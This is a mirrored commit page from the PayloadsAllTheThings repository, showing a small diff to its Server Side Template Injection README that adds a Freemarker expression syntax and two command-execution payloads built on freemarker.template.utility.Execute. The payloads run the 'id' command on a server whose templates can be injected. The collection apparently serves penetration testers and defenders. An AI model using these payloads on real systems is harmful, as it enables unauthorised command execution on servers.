ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-19 10:56:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Update README.md

Browse Source
This commit is contained in:
Aur0ra 2022-12-27 18:30:20 +08:00 committed by GitHub
parent 514ac98dac
commit 29c23ac7fd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 1 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

4
Server Side Template Injection/README.md
View File

@ -199,7 +199,7 @@ You can try your payloads at [https://try.freemarker.apache.org](https://try.fre
### Freemarker - Basic injection ### Freemarker - Basic injection
The template can be `${3*3}` or the legacy `#{3*3}`. The template can be `${3*3}` `#{3*3}` or the legacy `[=3*3]`.
### Freemarker - Read File ### Freemarker - Read File
@ -214,6 +214,8 @@ Convert the returned bytes to ASCII
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")} ${"freemarker.template.utility.Execute"?new()("id")}
#{"freemarker.template.utility.Execute"?new()("id")}
[="freemarker.template.utility.Execute"?new()("id")]
``` ```
### Freemarker - Sandbox bypass ### Freemarker - Sandbox bypass